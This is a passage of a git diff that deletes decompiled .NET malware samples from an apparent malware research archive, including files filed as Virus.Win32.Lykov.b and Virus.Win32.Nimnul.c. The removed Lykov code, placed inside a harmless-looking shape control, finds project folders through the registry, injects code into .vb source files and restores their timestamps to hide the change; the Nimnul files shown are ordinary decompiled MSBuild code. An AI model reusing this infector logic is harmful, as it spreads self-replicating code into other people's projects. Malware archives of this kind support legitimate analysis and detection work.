Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public tmrShape() - { - this.Paint += new PaintEventHandler(this.OnPaint); - this.Resize += new EventHandler(this.tmrShape_Resize); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - this.clsDirection = tmrShape.tmrShapeDirection.Vertical; - this.clsShapeColor = System.Drawing.Color.Maroon; - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container(); - - protected void OnPaint(object sender, PaintEventArgs e) - { - GraphicsPath path = new GraphicsPath(); - SolidBrush solidBrush = new SolidBrush(this.clsShapeColor); - if (this.clsDirection == tmrShape.tmrShapeDirection.Vertical) - { - Point[] points = new Point[6] - { - new Point(0, checked ((int) Math.Round(unchecked ((double) this.Height / 4.0)))), - new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 2.0))), 0), - new Point(this.Width, checked ((int) Math.Round(unchecked ((double) this.Height / 4.0)))), - new Point(this.Width, checked ((int) Math.Round(unchecked ((double) this.Height - (double) this.Height / 4.0)))), - new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 2.0))), this.Height), - new Point(0, checked ((int) Math.Round(unchecked ((double) this.Height - (double) this.Height / 4.0)))) - }; - path.AddPolygon(points); - } - else - { - Point[] points = new Point[6] - { - new Point(0, checked ((int) Math.Round(unchecked ((double) this.Height / 2.0)))), - new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 4.0))), 0), - new Point(checked ((int) Math.Round(unchecked ((double) this.Width - (double) this.Width / 4.0))), 0), - new Point(this.Width, checked ((int) Math.Round(unchecked ((double) this.Height / 2.0)))), - new Point(checked ((int) Math.Round(unchecked ((double) this.Width - (double) this.Width / 4.0))), this.Height), - new Point(checked ((int) Math.Round(unchecked ((double) this.Width / 4.0))), this.Height) - }; - path.AddPolygon(points); - } - e.Graphics.FillPath((Brush) solidBrush, path); - this.Region = new Region(path); - } - - public tmrShape.tmrShapeDirection ShapeDirection - { - get => this.clsDirection; - set - { - this.clsDirection = value; - this.Refresh(); - } - } - - public System.Drawing.Color ShapeColor - { - get => this.clsShapeColor; - set => this.clsShapeColor = value; - } - - private void tmrShape_Resize(object sender, EventArgs e) => this.Refresh(); - - public enum tmrShapeDirection - { - Vertical, - Horisontal, - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/tmrShape.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyInfo.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyInfo.cs deleted file mode 100644 index 3e62da79..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyInfo.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: SatelliteContractVersion("2.0.0.0")] -[assembly: AssemblyKeyFile("f:\\RedBits\\tools\\devdiv\\FinalPublicKey.snk")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyDefaultAlias("MSBuild.exe")] -[assembly: AssemblyFileVersion("2.0.50727.1433")] -[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] -[assembly: AssemblyProduct("Microsoft® .NET Framework")] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: AssemblyInformationalVersion("2.0.50727.1433")] -[assembly: AssemblyDescription("MSBuild.exe")] -[assembly: AssemblyTitle("MSBuild.exe")] -[assembly: CLSCompliant(true)] -[assembly: ComVisible(false)] -[assembly: InternalsVisibleTo("MSBuild.Unittest, PublicKey=002400000480000094000000060200000024000052534131000400000100010007d1fa57c4aed9f0a32e84aa0faefd0de9e8fd6aec8f87fb03766c834c99921eb23be79ad9d5dcc1dd9ad236132102900b723cf980957fc4e177108fc607774f29e8320e92ea05ece4e821c0a5efe8f1645c4c0c93c1ab99285d622caa652c1dfad63d745d6f2de5f17e5eaf0fc4963d261c8a12436518206dc093344d5ad293")] -[assembly: AssemblyVersion("2.0.0.0")] diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyRef.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyRef.cs deleted file mode 100644 index af7563ad..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/AssemblyRef.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: AssemblyRef -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -internal static class AssemblyRef -{ - internal const string EcmaPublicKey = "b77a5c561934e089"; - internal const string EcmaPublicKeyToken = "b77a5c561934e089"; - internal const string EcmaPublicKeyFull = "00000000000000000400000000000000"; - internal const string Mscorlib = "mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; - internal const string SystemData = "System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; - internal const string SystemDataOracleClient = "System.Data.OracleClient, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; - internal const string System = "System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; - internal const string SystemRuntimeRemoting = "System.Runtime.Remoting, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; - internal const string SystemWindowsForms = "System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; - internal const string SystemXml = "System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"; - internal const string MicrosoftPublicKey = "b03f5f7f11d50a3a"; - internal const string MicrosoftPublicKeyToken = "b03f5f7f11d50a3a"; - internal const string MicrosoftPublicKeyFull = "002400000480000094000000060200000024000052534131000400000100010007D1FA57C4AED9F0A32E84AA0FAEFD0DE9E8FD6AEC8F87FB03766C834C99921EB23BE79AD9D5DCC1DD9AD236132102900B723CF980957FC4E177108FC607774F29E8320E92EA05ECE4E821C0A5EFE8F1645C4C0C93C1AB99285D622CAA652C1DFAD63D745D6F2DE5F17E5EAF0FC4963D261C8A12436518206DC093344D5AD293"; - internal const string SystemConfiguration = "System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemConfigurationInstall = "System.Configuration.Install, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemDeployment = "System.Deployment, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemDesign = "System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemDirectoryServices = "System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemDrawingDesign = "System.Drawing.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemDrawing = "System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemEnterpriseServices = "System.EnterpriseServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemManagement = "System.Management, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemMessaging = "System.Messaging, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemRuntimeSerializationFormattersSoap = "System.Runtime.Serialization.Formatters.Soap, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemSecurity = "System.Security, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemServiceProcess = "System.ServiceProcess, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemWeb = "System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemWebMobile = "System.Web.Mobile, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemWebRegularExpressions = "System.Web.RegularExpressions, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string SystemWebServices = "System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string MicrosoftVisualStudio = "Microsoft.VisualStudio, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string MicrosoftVisualStudioWindowsForms = "Microsoft.VisualStudio.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string VJSharpCodeProvider = "VJSharpCodeProvider, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string ASPBrowserCapsPublicKey = "b7bd7678b977bd8f"; - internal const string ASPBrowserCapsFactory = "ASP.BrowserCapsFactory, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b7bd7678b977bd8f"; - internal const string MicrosoftVSDesigner = "Microsoft.VSDesigner, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string MicrosoftVisualStudioWeb = "Microsoft.VisualStudio.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string MicrosoftVSDesignerMobile = "Microsoft.VSDesigner.Mobile, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; - internal const string MicrosoftJScript = "Microsoft.JScript, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"; -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitchException.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitchException.cs deleted file mode 100644 index 93299ccb..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitchException.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.CommandLine.CommandLineSwitchException -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using Microsoft.Build.Shared; -using System; - -namespace Microsoft.Build.CommandLine -{ - internal sealed class CommandLineSwitchException : Exception - { - private string commandLineArg; - - private CommandLineSwitchException() - { - } - - private CommandLineSwitchException(string message) - : base(message) - { - } - - private CommandLineSwitchException(string message, string commandLineArg) - : this(message) - { - this.commandLineArg = commandLineArg; - } - - public override string Message - { - get - { - if (this.commandLineArg == null) - return base.Message; - return base.Message + Environment.NewLine + ResourceUtilities.FormatResourceString("InvalidSwitchIndicator", (object) this.commandLineArg); - } - } - - internal string CommandLineArg => this.commandLineArg; - - internal static void VerifyThrow( - bool condition, - string messageResourceName, - string commandLineArg) - { - if (condition) - return; - CommandLineSwitchException.Throw(messageResourceName, commandLineArg); - } - - internal static void Throw(string messageResourceName, string commandLineArg) - { - string message = AssemblyResources.GetString(messageResourceName); - ErrorUtilities.VerifyThrow(message != null, "The resource string must exist."); - throw new CommandLineSwitchException(message, commandLineArg); - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitches.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitches.cs deleted file mode 100644 index 7f4db27f..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/CommandLineSwitches.cs +++ /dev/null @@ -1,393 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.CommandLine.CommandLineSwitches -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using Microsoft.Build.Shared; -using System; -using System.Collections; - -namespace Microsoft.Build.CommandLine -{ - internal sealed class CommandLineSwitches - { - private static readonly CommandLineSwitches.ParameterlessSwitchInfo[] parameterlessSwitchesMap = new CommandLineSwitches.ParameterlessSwitchInfo[5] - { - new CommandLineSwitches.ParameterlessSwitchInfo(new string[3] - { - "help", - "h", - "?" - }, CommandLineSwitches.ParameterlessSwitch.Help, (string) null), - new CommandLineSwitches.ParameterlessSwitchInfo(new string[2] - { - "version", - "ver" - }, CommandLineSwitches.ParameterlessSwitch.Version, (string) null), - new CommandLineSwitches.ParameterlessSwitchInfo(new string[1] - { - "nologo" - }, CommandLineSwitches.ParameterlessSwitch.NoLogo, (string) null), - new CommandLineSwitches.ParameterlessSwitchInfo(new string[2] - { - "noautoresponse", - "noautorsp" - }, CommandLineSwitches.ParameterlessSwitch.NoAutoResponse, (string) null), - new CommandLineSwitches.ParameterlessSwitchInfo(new string[2] - { - "noconsolelogger", - "noconlog" - }, CommandLineSwitches.ParameterlessSwitch.NoConsoleLogger, (string) null) - }; - private static readonly CommandLineSwitches.ParameterizedSwitchInfo[] parameterizedSwitchesMap = new CommandLineSwitches.ParameterizedSwitchInfo[7] - { - new CommandLineSwitches.ParameterizedSwitchInfo(new string[1], CommandLineSwitches.ParameterizedSwitch.Project, "DuplicateProjectSwitchError", false, (string) null, true), - new CommandLineSwitches.ParameterizedSwitchInfo(new string[2] - { - "target", - "t" - }, CommandLineSwitches.ParameterizedSwitch.Target, (string) null, true, "MissingTargetError", true), - new CommandLineSwitches.ParameterizedSwitchInfo(new string[2] - { - "property", - "p" - }, CommandLineSwitches.ParameterizedSwitch.Property, (string) null, true, "MissingPropertyError", true), - new CommandLineSwitches.ParameterizedSwitchInfo(new string[2] - { - "logger", - "l" - }, CommandLineSwitches.ParameterizedSwitch.Logger, (string) null, false, "MissingLoggerError", false), - new CommandLineSwitches.ParameterizedSwitchInfo(new string[2] - { - "verbosity", - "v" - }, CommandLineSwitches.ParameterizedSwitch.Verbosity, (string) null, false, "MissingVerbosityError", true), - new CommandLineSwitches.ParameterizedSwitchInfo(new string[2] - { - "validate", - "val" - }, CommandLineSwitches.ParameterizedSwitch.Validate, (string) null, false, (string) null, true), - new CommandLineSwitches.ParameterizedSwitchInfo(new string[2] - { - "consoleloggerparameters", - "clp" - }, CommandLineSwitches.ParameterizedSwitch.ConsoleLoggerParameters, (string) null, false, (string) null, true) - }; - private CommandLineSwitches.DetectedParameterlessSwitch[] parameterlessSwitches; - private CommandLineSwitches.DetectedParameterizedSwitch[] parameterizedSwitches; - private static readonly char[] parameterSeparators = new char[2] - { - ',', - ';' - }; - private static readonly string[] noParameters = new string[0]; - private string errorMessage; - private string badCommandLineArg; - private Exception innerException; - private bool isParameterError; - - internal static bool IsParameterlessSwitch( - string switchName, - out CommandLineSwitches.ParameterlessSwitch parameterlessSwitch, - out string duplicateSwitchErrorMessage) - { - parameterlessSwitch = CommandLineSwitches.ParameterlessSwitch.Invalid; - duplicateSwitchErrorMessage = (string) null; - foreach (CommandLineSwitches.ParameterlessSwitchInfo parameterlessSwitches in CommandLineSwitches.parameterlessSwitchesMap) - { - foreach (string switchName1 in parameterlessSwitches.switchNames) - { - if (string.Compare(switchName, switchName1, StringComparison.OrdinalIgnoreCase) == 0) - { - parameterlessSwitch = parameterlessSwitches.parameterlessSwitch; - duplicateSwitchErrorMessage = parameterlessSwitches.duplicateSwitchErrorMessage; - break; - } - } - } - return parameterlessSwitch != CommandLineSwitches.ParameterlessSwitch.Invalid; - } - - internal static bool IsParameterizedSwitch( - string switchName, - out CommandLineSwitches.ParameterizedSwitch parameterizedSwitch, - out string duplicateSwitchErrorMessage, - out bool multipleParametersAllowed, - out string missingParametersErrorMessage, - out bool unquoteParameters) - { - parameterizedSwitch = CommandLineSwitches.ParameterizedSwitch.Invalid; - duplicateSwitchErrorMessage = (string) null; - multipleParametersAllowed = false; - missingParametersErrorMessage = (string) null; - unquoteParameters = false; - foreach (CommandLineSwitches.ParameterizedSwitchInfo parameterizedSwitches in CommandLineSwitches.parameterizedSwitchesMap) - { - foreach (string switchName1 in parameterizedSwitches.switchNames) - { - if (string.Compare(switchName, switchName1, StringComparison.OrdinalIgnoreCase) == 0) - { - parameterizedSwitch = parameterizedSwitches.parameterizedSwitch; - duplicateSwitchErrorMessage = parameterizedSwitches.duplicateSwitchErrorMessage; - multipleParametersAllowed = parameterizedSwitches.multipleParametersAllowed; - missingParametersErrorMessage = parameterizedSwitches.missingParametersErrorMessage; - unquoteParameters = parameterizedSwitches.unquoteParameters; - break; - } - } - } - return parameterizedSwitch != CommandLineSwitches.ParameterizedSwitch.Invalid; - } - - internal CommandLineSwitches() - { - this.parameterlessSwitches = new CommandLineSwitches.DetectedParameterlessSwitch[5]; - this.parameterizedSwitches = new CommandLineSwitches.DetectedParameterizedSwitch[7]; - } - - internal void SetParameterlessSwitch( - CommandLineSwitches.ParameterlessSwitch parameterlessSwitch, - string commandLineArg) - { - this.parameterlessSwitches[(int) parameterlessSwitch].commandLineArg = commandLineArg; - } - - internal bool SetParameterizedSwitch( - CommandLineSwitches.ParameterizedSwitch parameterizedSwitch, - string commandLineArg, - string switchParameters, - bool multipleParametersAllowed, - bool unquoteParameters) - { - bool flag = false; - if (this.parameterizedSwitches[(int) parameterizedSwitch].commandLineArg == null) - this.parameterizedSwitches[(int) parameterizedSwitch].parameters = new ArrayList(); - this.parameterizedSwitches[(int) parameterizedSwitch].commandLineArg = commandLineArg; - if (multipleParametersAllowed) - { - int emptySplits; - this.parameterizedSwitches[(int) parameterizedSwitch].parameters.AddRange((ICollection) QuotingUtilities.SplitUnquoted(switchParameters, int.MaxValue, false, unquoteParameters, out emptySplits, CommandLineSwitches.parameterSeparators)); - flag = emptySplits == 0; - } - else - { - if (unquoteParameters) - switchParameters = QuotingUtilities.Unquote(switchParameters); - if (switchParameters.Length > 0) - { - this.parameterizedSwitches[(int) parameterizedSwitch].parameters.Add((object) switchParameters); - flag = true; - } - } - return flag; - } - - internal bool IsParameterlessSwitchSet( - CommandLineSwitches.ParameterlessSwitch parameterlessSwitch) - { - return this.parameterlessSwitches[(int) parameterlessSwitch].commandLineArg != null; - } - - internal bool this[ - CommandLineSwitches.ParameterlessSwitch parameterlessSwitch] - { - return this.parameterlessSwitches[(int) parameterlessSwitch].commandLineArg != null; - } - - internal string GetParameterlessSwitchCommandLineArg( - CommandLineSwitches.ParameterlessSwitch parameterlessSwitch) - { - return this.parameterlessSwitches[(int) parameterlessSwitch].commandLineArg; - } - - internal bool IsParameterizedSwitchSet( - CommandLineSwitches.ParameterizedSwitch parameterizedSwitch) - { - return this.parameterizedSwitches[(int) parameterizedSwitch].commandLineArg != null; - } - - internal string[] this[ - CommandLineSwitches.ParameterizedSwitch parameterizedSwitch] - { - return this.parameterizedSwitches[(int) parameterizedSwitch].commandLineArg == null ? CommandLineSwitches.noParameters : (string[]) this.parameterizedSwitches[(int) parameterizedSwitch].parameters.ToArray(typeof (string)); - } - - internal string GetParameterizedSwitchCommandLineArg( - CommandLineSwitches.ParameterizedSwitch parameterizedSwitch) - { - return this.parameterizedSwitches[(int) parameterizedSwitch].commandLineArg; - } - - internal bool HaveAnySwitchesBeenSet() - { - for (int index = 0; index < 5; ++index) - { - if (this.IsParameterlessSwitchSet((CommandLineSwitches.ParameterlessSwitch) index)) - return true; - } - for (int index = 0; index < 7; ++index) - { - if (this.IsParameterizedSwitchSet((CommandLineSwitches.ParameterizedSwitch) index)) - return true; - } - return false; - } - - internal void SetUnknownSwitchError(string badCommandLineArgValue) => this.SetSwitchError("UnknownSwitchError", badCommandLineArgValue); - - internal void SetUnexpectedParametersError(string badCommandLineArgValue) => this.SetSwitchError("UnexpectedParametersError", badCommandLineArgValue); - - internal void SetSwitchError(string messageResourceNameValue, string badCommandLineArgValue) => this.SetError(messageResourceNameValue, badCommandLineArgValue, (Exception) null, false); - - internal void SetParameterError(string messageResourceNameValue, string badCommandLineArgValue) => this.SetParameterError(messageResourceNameValue, badCommandLineArgValue, (Exception) null); - - internal void SetParameterError( - string messageResourceNameValue, - string badCommandLineArgValue, - Exception innerExceptionValue) - { - this.SetError(messageResourceNameValue, badCommandLineArgValue, innerExceptionValue, true); - } - - private void SetError( - string messageResourceNameValue, - string badCommandLineArgValue, - Exception innerExceptionValue, - bool isParameterErrorValue) - { - if (this.HaveErrors()) - return; - this.errorMessage = messageResourceNameValue; - this.badCommandLineArg = badCommandLineArgValue; - this.innerException = innerExceptionValue; - this.isParameterError = isParameterErrorValue; - } - - internal bool HaveErrors() => this.errorMessage != null; - - internal void ThrowErrors() - { - if (!this.HaveErrors()) - return; - if (this.isParameterError) - InitializationException.Throw(this.errorMessage, this.badCommandLineArg, this.innerException, false); - else - CommandLineSwitchException.Throw(this.errorMessage, this.badCommandLineArg); - } - - internal void Append(CommandLineSwitches switchesToAppend) - { - if (!this.HaveErrors() && switchesToAppend.HaveErrors()) - { - this.errorMessage = switchesToAppend.errorMessage; - this.badCommandLineArg = switchesToAppend.badCommandLineArg; - this.innerException = switchesToAppend.innerException; - this.isParameterError = switchesToAppend.isParameterError; - } - for (int index = 0; index < 5; ++index) - { - if (switchesToAppend.IsParameterlessSwitchSet((CommandLineSwitches.ParameterlessSwitch) index)) - { - if (!this.IsParameterlessSwitchSet((CommandLineSwitches.ParameterlessSwitch) index) || CommandLineSwitches.parameterlessSwitchesMap[index].duplicateSwitchErrorMessage == null) - this.parameterlessSwitches[index].commandLineArg = switchesToAppend.parameterlessSwitches[index].commandLineArg; - else - this.SetSwitchError(CommandLineSwitches.parameterlessSwitchesMap[index].duplicateSwitchErrorMessage, switchesToAppend.GetParameterlessSwitchCommandLineArg((CommandLineSwitches.ParameterlessSwitch) index)); - } - } - for (int index = 0; index < 7; ++index) - { - if (switchesToAppend.IsParameterizedSwitchSet((CommandLineSwitches.ParameterizedSwitch) index)) - { - if (!this.IsParameterizedSwitchSet((CommandLineSwitches.ParameterizedSwitch) index) || CommandLineSwitches.parameterizedSwitchesMap[index].duplicateSwitchErrorMessage == null) - { - if (this.parameterizedSwitches[index].commandLineArg == null) - this.parameterizedSwitches[index].parameters = new ArrayList(); - this.parameterizedSwitches[index].commandLineArg = switchesToAppend.parameterizedSwitches[index].commandLineArg; - this.parameterizedSwitches[index].parameters.AddRange((ICollection) switchesToAppend.parameterizedSwitches[index].parameters); - } - else - this.SetSwitchError(CommandLineSwitches.parameterizedSwitchesMap[index].duplicateSwitchErrorMessage, switchesToAppend.GetParameterizedSwitchCommandLineArg((CommandLineSwitches.ParameterizedSwitch) index)); - } - } - } - - internal enum ParameterlessSwitch - { - Invalid = -1, // 0xFFFFFFFF - Help = 0, - Version = 1, - NoLogo = 2, - NoAutoResponse = 3, - NoConsoleLogger = 4, - NumberOfParameterlessSwitches = 5, - } - - internal enum ParameterizedSwitch - { - Invalid = -1, // 0xFFFFFFFF - Project = 0, - Target = 1, - Property = 2, - Logger = 3, - Verbosity = 4, - Validate = 5, - ConsoleLoggerParameters = 6, - NumberOfParameterizedSwitches = 7, - } - - private struct ParameterlessSwitchInfo - { - internal string[] switchNames; - internal string duplicateSwitchErrorMessage; - internal CommandLineSwitches.ParameterlessSwitch parameterlessSwitch; - - internal ParameterlessSwitchInfo( - string[] switchNames, - CommandLineSwitches.ParameterlessSwitch parameterlessSwitch, - string duplicateSwitchErrorMessage) - { - this.switchNames = switchNames; - this.duplicateSwitchErrorMessage = duplicateSwitchErrorMessage; - this.parameterlessSwitch = parameterlessSwitch; - } - } - - private struct ParameterizedSwitchInfo - { - internal string[] switchNames; - internal string duplicateSwitchErrorMessage; - internal bool multipleParametersAllowed; - internal string missingParametersErrorMessage; - internal bool unquoteParameters; - internal CommandLineSwitches.ParameterizedSwitch parameterizedSwitch; - - internal ParameterizedSwitchInfo( - string[] switchNames, - CommandLineSwitches.ParameterizedSwitch parameterizedSwitch, - string duplicateSwitchErrorMessage, - bool multipleParametersAllowed, - string missingParametersErrorMessage, - bool unquoteParameters) - { - this.switchNames = switchNames; - this.duplicateSwitchErrorMessage = duplicateSwitchErrorMessage; - this.multipleParametersAllowed = multipleParametersAllowed; - this.missingParametersErrorMessage = missingParametersErrorMessage; - this.unquoteParameters = unquoteParameters; - this.parameterizedSwitch = parameterizedSwitch; - } - } - - private struct DetectedParameterlessSwitch - { - internal string commandLineArg; - } - - private struct DetectedParameterizedSwitch - { - internal string commandLineArg; - internal ArrayList parameters; - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/InitializationException.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/InitializationException.cs deleted file mode 100644 index a2bd7d5c..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/InitializationException.cs +++ /dev/null @@ -1,75 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.CommandLine.InitializationException -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using 